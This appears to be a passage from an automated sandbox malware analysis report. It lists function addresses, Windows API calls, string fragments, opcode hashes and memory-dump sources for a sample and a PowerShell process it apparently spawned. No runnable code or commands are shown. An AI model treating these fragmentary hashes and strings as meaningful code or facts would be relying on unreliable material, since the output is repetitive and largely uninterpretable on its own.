Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-823278215
Opcode ID: b2d9a1ddbba9b9f3ee0b0ea3bd9ee1620ba51efa6b86355baead2e8ed11cdd1d
Instruction ID: 66f8bddb8dfdb1964ca55d912e2b06e4102c5475863404a2afc710826c1672a2
Opcode Fuzzy Hash: b2d9a1ddbba9b9f3ee0b0ea3bd9ee1620ba51efa6b86355baead2e8ed11cdd1d
Instruction Fuzzy Hash: CAE0C2B39051206BC7311F04EC08B1AB7BC7F88B32F05416AE8407B3B087742C528BC9

Function 00405A1F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,00437800,00437800,80000000,00000003,?,?,00000000,00403504,?), ref: 00405A25
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,00437800,00437800,80000000,00000003,?,?,00000000,00403504,?), ref: 00405A35

Strings

C:\Users\user\Desktop, xrefs: 00405A1F

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1246513382
Opcode ID: bd96f5d222dd2e219d7186a4e9023239cf4eadd8ba915765e0199ed169867e67
Instruction ID: 5bbf66532c1e6c52d9ac91e78c5b81189c295a76ad9a8eb5813a93f974e07d29
Opcode Fuzzy Hash: bd96f5d222dd2e219d7186a4e9023239cf4eadd8ba915765e0199ed169867e67
Instruction Fuzzy Hash: 95D05EB29109209AD322A708DC419AF73ACEF113407464466F401A31A5D3785D818AAA

Function 00405B59 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E3A,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B69
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405B81
CharNextA.USER32(00000000,?,00000000,00405E3A,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B92
lstrlenA.KERNEL32(00000000,?,00000000,00405E3A,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9B

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 9427bd3955d590afca056539d981812bc3008f0de5e2293753a1e4334a8e9224
Instruction ID: 1b7cebc677eab2b4d2404c83280ad7709bae0e65096c4b9ca61da70a623928b5
Opcode Fuzzy Hash: 9427bd3955d590afca056539d981812bc3008f0de5e2293753a1e4334a8e9224
Instruction Fuzzy Hash: B9F06231504558AFC7029BA5DD40D9FBBB8EF06250B2540A9E800F7351D674FE019BA9

Analysis Process: powershell.exePID: 6484, Parent PID: 6156COMMON

Executed Functions

Function 07D5C956 Relevance: 21.8, Strings: 16, Instructions: 1844COMMON

Download Yara Rule

Strings

-zk, xrefs: 07D5D69D
tL{k, xrefs: 07D5C983
4'cq, xrefs: 07D5C63E
tL{k, xrefs: 07D5C371
x.zk, xrefs: 07D5C871
4'cq, xrefs: 07D5C59A
4'cq, xrefs: 07D5DE01
tL{k, xrefs: 07D5DD7A
tL{k, xrefs: 07D5CE04
4'cq, xrefs: 07D5D33C
x.zk, xrefs: 07D5D64C
tL{k, xrefs: 07D5CA10
tL{k, xrefs: 07D5C27B
x.zk, xrefs: 07D5E335
-zk, xrefs: 07D5C8BF
4'cq, xrefs: 07D5D330

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$4'cq$4'cq$4'cq$tL{k$tL{k$tL{k$tL{k$tL{k$tL{k$x.zk$x.zk$x.zk$-zk$-zk
API String ID: 0-4177425234
Opcode ID: e9252faa2c4060e6f8296bdf2b9a938b4eedd47122db5d8dca304dc2b69a6dae
Instruction ID: 77e061b113ae01e72d1e540729b1e574b4f3fe51be7053f8d43dd3c7c139557c
Opcode Fuzzy Hash: e9252faa2c4060e6f8296bdf2b9a938b4eedd47122db5d8dca304dc2b69a6dae
Instruction Fuzzy Hash: DB0354B0A00219DFDB64DB58C950BAAFBB2FF85314F108599D909AB741CB31ED85CFA1

Function 0522EAD8 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e8641591b44b1e6d32cc6605fa9a5b0914667690289ee547f4781133e8a75c7
Instruction ID: fe56a37687af19ebf9bcfc7043c5618578a2c7f7110fddce13a8c97cf6c1b401
Opcode Fuzzy Hash: 1e8641591b44b1e6d32cc6605fa9a5b0914667690289ee547f4781133e8a75c7
Instruction Fuzzy Hash: 51B1A275E10229AFDF10CFA8C8857EDBBF6BF88314F158129E819E7250EB749845DB41

Function 0522F3A8 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74600b70fad7e55cc68dfa4fbb50d14b7904d57e409f4493993428433d874430
Instruction ID: b4231537d8686bf201f53401fbe5d2c0e825497e83afc03d5942dcef4ba5af12
Opcode Fuzzy Hash: 74600b70fad7e55cc68dfa4fbb50d14b7904d57e409f4493993428433d874430
Instruction Fuzzy Hash: 8AB18374E1021AAFDF14CFA8C9867ADBBF2FF88314F148129D819E7254EB749845CB81

Function 07D54F28 Relevance: 28.6, Strings: 22, Instructions: 1082COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07D556A2
4'cq, xrefs: 07D55BB4
4'cq, xrefs: 07D5502A
4'cq, xrefs: 07D55246
4'cq, xrefs: 07D5574A
4'cq, xrefs: 07D556AE
4'cq, xrefs: 07D55192
4'cq, xrefs: 07D5538D
4'cq, xrefs: 07D55435
4'cq, xrefs: 07D55934
4'cq, xrefs: 07D55756
4'cq, xrefs: 07D55BA8
4'cq, xrefs: 07D5519E
4'cq, xrefs: 07D555FA
4'cq, xrefs: 07D55940
4'cq, xrefs: 07D550F3
4'cq, xrefs: 07D55036
4'cq, xrefs: 07D550E7
4'cq, xrefs: 07D55606
4'cq, xrefs: 07D5523A
4'cq, xrefs: 07D55429
4'cq, xrefs: 07D55381

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq
API String ID: 0-3672173536
Opcode ID: e61c96b2d73b8e8edd04c6e96525ebe2ec2cd94e59b03396c2c0a491ddfc7d3b
Instruction ID: 1df07e0d0c2d2e8c119f25e10d400b2bf855f1b9922199cac27cf33c94d24558
Opcode Fuzzy Hash: e61c96b2d73b8e8edd04c6e96525ebe2ec2cd94e59b03396c2c0a491ddfc7d3b
Instruction Fuzzy Hash: 8DA271B0A00209DFDB25DBA8C555BAEBBB3FB85314F218569D9056F782CB72DC418F81

Function 07D52F18 Relevance: 19.9, Strings: 15, Instructions: 1172COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07D54919
4'cq, xrefs: 07D53071
4'cq, xrefs: 07D54998
x.zk, xrefs: 07D53FE4
tPcq, xrefs: 07D53208
4'cq, xrefs: 07D54925
tL{k, xrefs: 07D53742
4'cq, xrefs: 07D549A4
4'cq, xrefs: 07D53CC6
tPcq, xrefs: 07D531FC
4'cq, xrefs: 07D53CBA
-zk, xrefs: 07D54A29
-zk, xrefs: 07D54035
4'cq, xrefs: 07D5307D
x.zk, xrefs: 07D549E4

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$tL{k$tPcq$tPcq$x.zk$x.zk$-zk$-zk
API String ID: 0-173784264
Opcode ID: 86a612bbb1b9a27a94b55483e0898169f76f51f03afa3b8477776d63a0f65872
Instruction ID: 4e6cf42e3333b243e411d70132939323ccd0ac400ac0233752f7825eb2e3026f
Opcode Fuzzy Hash: 86a612bbb1b9a27a94b55483e0898169f76f51f03afa3b8477776d63a0f65872
Instruction Fuzzy Hash: 0CA2A7B0A00255DFDB24DB68C951B6AF7B2BF85304F10C4A9D95AAB741CB31EC85CFA1

Function 07D5D736 Relevance: 15.0, Strings: 11, Instructions: 1234COMMON

Download Yara Rule

Strings

-zk, xrefs: 07D5D69D
4'cq, xrefs: 07D5C63E
tL{k, xrefs: 07D5C371
tL{k, xrefs: 07D5DAED
tL{k, xrefs: 07D5C27B
4'cq, xrefs: 07D5C59A
x.zk, xrefs: 07D5C871
-zk, xrefs: 07D5C8BF
4'cq, xrefs: 07D5D330
tL{k, xrefs: 07D5CE04
x.zk, xrefs: 07D5D64C

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$4'cq$tL{k$tL{k$tL{k$tL{k$x.zk$x.zk$-zk$-zk
API String ID: 0-1361875469
Opcode ID: 2f75fadc10f6b523ec7c9ff94cdfe1683ff3731bf50bfa254efef34f070e62c8
Instruction ID: bc4fdda45d42ad82eaf108ce2ac0f0040602c80a74d472e121a001a5443fb4b9
Opcode Fuzzy Hash: 2f75fadc10f6b523ec7c9ff94cdfe1683ff3731bf50bfa254efef34f070e62c8
Instruction Fuzzy Hash: 78C265B0B003159FDB64DB58CD90B9ABBB2EF85304F108599D909AB781DB31ED85CFA1

Function 07D54F0A Relevance: 14.6, Strings: 11, Instructions: 891COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07D55BA8
4'cq, xrefs: 07D556A2
4'cq, xrefs: 07D555FA
4'cq, xrefs: 07D5502A
4'cq, xrefs: 07D5574A
4'cq, xrefs: 07D55192
4'cq, xrefs: 07D550E7
4'cq, xrefs: 07D55934
4'cq, xrefs: 07D5523A
4'cq, xrefs: 07D55429
4'cq, xrefs: 07D55381

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq
API String ID: 0-1068134140
Opcode ID: 8d0578d4f0dfb05c3b8e4a1c53651127a0238378e7686e63b47d0891c2a99634
Instruction ID: d1427d03c561599c80e00218d0da51b0cf880ddb370443a03f247f3d5b28f807
Opcode Fuzzy Hash: 8d0578d4f0dfb05c3b8e4a1c53651127a0238378e7686e63b47d0891c2a99634
Instruction Fuzzy Hash: DE826FB0A00205DFDB21DBA8C550BADBBB3EB85314F218569E9456F782C772EC85CF91

Function 07D540D2 Relevance: 7.1, Strings: 5, Instructions: 888COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07D53CBA
x.zk, xrefs: 07D53FE4
-zk, xrefs: 07D54035
tL{k, xrefs: 07D53742
tL{k, xrefs: 07D5454C

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$tL{k$tL{k$x.zk$-zk
API String ID: 0-4005676852
Opcode ID: 8595a1220ac47672a780108afce080584f544fc5865aa5105da78c9e5450473a
Instruction ID: 90dc98a91a9d5fb0aa40f28a993392ac8842da238162b3a1db91c8393ca64d12
Opcode Fuzzy Hash: 8595a1220ac47672a780108afce080584f544fc5865aa5105da78c9e5450473a
Instruction Fuzzy Hash: 708284B0A00255DFDB64DB58C950BAAF7B2BF84304F10C9A9D95A6B740CB31ED85CFA1

Function 07D50778 Relevance: 6.5, Strings: 5, Instructions: 233COMMON

Download Yara Rule

Strings

$cq, xrefs: 07D507CB
$cq, xrefs: 07D507F3
$cq, xrefs: 07D507E7
4'cq, xrefs: 07D50818
4'cq, xrefs: 07D5080C

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$$cq$$cq$$cq
API String ID: 0-838516036
Opcode ID: 7635f4bb7cafd33aef0434ff0327392a31ad1dbcfdd51c379f05dca208507043
Instruction ID: 258c0e75092a417a751a357ebe68d65675c5857cd75015712cb5833c634c94e4
Opcode Fuzzy Hash: 7635f4bb7cafd33aef0434ff0327392a31ad1dbcfdd51c379f05dca208507043
Instruction Fuzzy Hash: FC7116B1B002169FCF249B7989106BBFBA6AFC5311F28847ACC45DB241DB31D941CBE1

Function 07D5329D Relevance: 5.8, Strings: 4, Instructions: 824COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07D53CBA
x.zk, xrefs: 07D53FE4
-zk, xrefs: 07D54035
tL{k, xrefs: 07D53742

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$tL{k$x.zk$-zk
API String ID: 0-1997684598
Opcode ID: 8c2acc5e3969866ff1649b0ad4b03ae7796df842f21dc6e7e288f0b406c2872a
Instruction ID: 0ff8b0ab2281641f264f221f64e079c636385c677fec9614144e33ce53740782
Opcode Fuzzy Hash: 8c2acc5e3969866ff1649b0ad4b03ae7796df842f21dc6e7e288f0b406c2872a
Instruction Fuzzy Hash: 52726EB0A00255DFDB64DB58C950BAAF7B2FB84304F10C9A9D95A6B740CB31ED85CFA1

Function 07D5D8FA Relevance: 5.6, Strings: 4, Instructions: 624COMMON

Download Yara Rule

Strings

-zk, xrefs: 07D5D69D
4'cq, xrefs: 07D5D330
tL{k, xrefs: 07D5CE04
x.zk, xrefs: 07D5D64C

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$tL{k$x.zk$-zk
API String ID: 0-1997684598
Opcode ID: d5120dcdb96a769bc42b3fc40ed926fdf05ecf8b55b5459f4981bfa6e9b354be
Instruction ID: a7002861a7d558b53d1fc72bb6f2f796b9dbd36bb30a77c8cde31c281f2b3808
Opcode Fuzzy Hash: d5120dcdb96a769bc42b3fc40ed926fdf05ecf8b55b5459f4981bfa6e9b354be
Instruction Fuzzy Hash: 424266B0B003159FD764DB58CD90B9ABBB2EF85304F1085A9D919AB741DB31ED81CFA1

Function 07D5126C Relevance: 5.4, Strings: 4, Instructions: 414COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07D51630
4'cq, xrefs: 07D513AE
4'cq, xrefs: 07D513BA
4'cq, xrefs: 07D5163C

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$4'cq$4'cq
API String ID: 0-1446110543
Opcode ID: 6fb4a81b95d98afa71a0050c7096d506ac9abf3b29de38a7bc0a17668132a221
Instruction ID: d7e6bbe64a21f95ad1f4458d69150caa898283dc42e2d033df5720bb93d8a3ec
Opcode Fuzzy Hash: 6fb4a81b95d98afa71a0050c7096d506ac9abf3b29de38a7bc0a17668132a221
Instruction Fuzzy Hash: 8EF17EB4B00209DFDB14DB98C551F99BBB2EF89318F1484A9E9059F791CB72EC41CB91

Function 0522AFE8 Relevance: 4.3, Strings: 3, Instructions: 517COMMON

Download Yara Rule

Strings

$cq, xrefs: 0522B202
$cq, xrefs: 0522B567
Hgq, xrefs: 0522B0AE

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID: Hgq$$cq$$cq
API String ID: 0-2948965698
Opcode ID: 4d58959322b96966bdefd099112d85d18db6452b9562b78c58c09e9bedfda673
Instruction ID: 7b35b7cf4c60fb0156936a957d96ed82f0e7ff28fc3a717e0d7d2f0ae7460d4b
Opcode Fuzzy Hash: 4d58959322b96966bdefd099112d85d18db6452b9562b78c58c09e9bedfda673
Instruction Fuzzy Hash: 0B226234B101289FCB25DF25C894AAEB7F6BF89305F1480A9D50AAB390CF759D85CF91

Function 07D5DB8C Relevance: 4.2, Strings: 3, Instructions: 435COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07D5DE01
x.zk, xrefs: 07D5E335
tL{k, xrefs: 07D5DD7A

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$tL{k$x.zk
API String ID: 0-1938952806
Opcode ID: aabedd6d087b035b181c1d01c99ec262473f8fd295d38adebdcdca9f372cd778
Instruction ID: f2982729b0a97b48efaf2e03918d3756262ef8908d8e58d712b2e4c8635ab3da
Opcode Fuzzy Hash: aabedd6d087b035b181c1d01c99ec262473f8fd295d38adebdcdca9f372cd778
Instruction Fuzzy Hash: 16122DB0A00215DFDB70DB18C990BA9F7B2BB45314F1088E9D959AB781CB31EE85CF61

Function 07D5D981 Relevance: 4.2, Strings: 3, Instructions: 431COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07D5DE01
x.zk, xrefs: 07D5E335
tL{k, xrefs: 07D5DD7A

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$tL{k$x.zk
API String ID: 0-1938952806
Opcode ID: 6e75c3278e66618880076c72213dbd0c38a1fb6f97aa9acadea5024840827ac5
Instruction ID: e9ef71649ac6b4f761b78cba85823abd243878538339314d0cf0a18a16a2a243
Opcode Fuzzy Hash: 6e75c3278e66618880076c72213dbd0c38a1fb6f97aa9acadea5024840827ac5
Instruction Fuzzy Hash: 4E121BB0A00215DFDB70DB18C990BA9F7B2BB45314F1088E9D959AB781CB71EE85CF61

Function 07D50F18 Relevance: 3.8, Strings: 3, Instructions: 94COMMON

Download Yara Rule

Strings

$cq, xrefs: 07D50F80
$cq, xrefs: 07D50F74
$cq, xrefs: 07D50F2A

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: $cq$$cq$$cq
API String ID: 0-2085107096
Opcode ID: 9a4abe8c95d15d8a9b75c0af4fedb687c7654b2670d351f7cd5f9412a4370a0f
Instruction ID: c0e5746ce30af2eb08e182d7a84fed6fccbb7df702bb48d52272e54e8e4a0a54
Opcode Fuzzy Hash: 9a4abe8c95d15d8a9b75c0af4fedb687c7654b2670d351f7cd5f9412a4370a0f
Instruction Fuzzy Hash: 152148B23103066BDF34597E9981727F6DA9BC5714F24843AAD49CB381CE75D845C3A1

Function 07D55D5C Relevance: 3.0, Strings: 2, Instructions: 493COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07D55BA8
4'cq, xrefs: 07D55934

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq
API String ID: 0-60795322
Opcode ID: a7b8b034e8b343c0f9979ae97319dbef30278a51d65cd6686f964027b4d458c4
Instruction ID: 63c4d89a4653552debd34e0588a38fb1ac25c3d85f32b7f679e168dac3d41215
Opcode Fuzzy Hash: a7b8b034e8b343c0f9979ae97319dbef30278a51d65cd6686f964027b4d458c4
Instruction Fuzzy Hash: 0B226FB4A00205DFDB21DBA8C584F69BBB3EB85314F2585A9D9066F352C772EC81CF91

Function 07D50A80 Relevance: 2.7, Strings: 2, Instructions: 168COMMON

Download Yara Rule

Strings

tPcq, xrefs: 07D50B24
tPcq, xrefs: 07D50B30

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: tPcq$tPcq
API String ID: 0-2972849372
Opcode ID: fea059889618f83be4fe458e72cacef7b33185af6e2c6fb6abe0f7ebf28e96a2
Instruction ID: 4d68252830323b39af145efc80d1632f2f8e7f334298eb2c3330f9e57effe378
Opcode Fuzzy Hash: fea059889618f83be4fe458e72cacef7b33185af6e2c6fb6abe0f7ebf28e96a2
Instruction Fuzzy Hash: CE5139B17103569FCF214AB9894177BFFA6AFC6315F18C06BE985CB281DA31C884C7A1

Function 07D50EFC Relevance: 2.6, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

$cq, xrefs: 07D50F74
$cq, xrefs: 07D50F2A

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: $cq$$cq
API String ID: 0-2695052418
Opcode ID: 509653b1b1c87586e5023ada816c30c8ba85163f818fe5921798e2009e48a974
Instruction ID: fc9edb3bbc507630e03bb11093fbb981706be51edfb739a7a8ddf864171d6a5c
Opcode Fuzzy Hash: 509653b1b1c87586e5023ada816c30c8ba85163f818fe5921798e2009e48a974
Instruction Fuzzy Hash: 0B2157F22043466FDF3009799D817A2BBEA4FC2324F144066ED48DB6C2D639D984C3B6

Function 07D54AB0 Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

x.zk, xrefs: 07D54B62

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: x.zk
API String ID: 0-2997622057
Opcode ID: 7d65ef4feb71cbba849885323184bfaaca62347165b2bf68c6011ea00132b798
Instruction ID: 751435af8f549212bd7ed40e1ac495df9ff3e1620f6f70da75f76bf966b1a70e
Opcode Fuzzy Hash: 7d65ef4feb71cbba849885323184bfaaca62347165b2bf68c6011ea00132b798
Instruction Fuzzy Hash: 0931B2B0B00214AFD714A7A8C955BBE7AA7EFC5314F20C824E9016F791CF76EC858B95

Function 052295A8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4626280e7de3dd75a44dcc25a0699fbe998aac07a9da51139aea0f0c956cfc96
Instruction ID: e2ab14918c8ea2373643ccac2ab51158e8ccbb08ba95806c3053ed98d1c895c2
Opcode Fuzzy Hash: 4626280e7de3dd75a44dcc25a0699fbe998aac07a9da51139aea0f0c956cfc96
Instruction Fuzzy Hash: 61D12974E11259AFCB05CFA8D484AADBBF2FF49310F258159E809AB361C775ED81CB90

Function 05229D90 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b9a5e64233af624153c31b4df9f57ba12a19a938c0abea0584350044d24db4b
Instruction ID: 199124e8926b22ba2279cee3b90b51579dfb2e63c8312a8e49387b082e2a9b6a
Opcode Fuzzy Hash: 8b9a5e64233af624153c31b4df9f57ba12a19a938c0abea0584350044d24db4b
Instruction Fuzzy Hash: 7FD1F678A14219EFCB14DF98D484AADFBB2FF88310F258159E809AB355C771ED81CB90

Function 052272A0 Relevance: .3, Instructions: 313COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2492565337.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38c29aac3bf49f571dd2dabc1dcd88789e36b523c31cdf719dd00b1177417cca
Instruction ID: 57ffda47f4dac397998da437ebe9163bb15d8d2038c1f03be1fa76842c0413e2
Opcode Fuzzy Hash: 38c29aac3bf49f571dd2dabc1dcd88789e36b523c31cdf719dd00b1177417cca
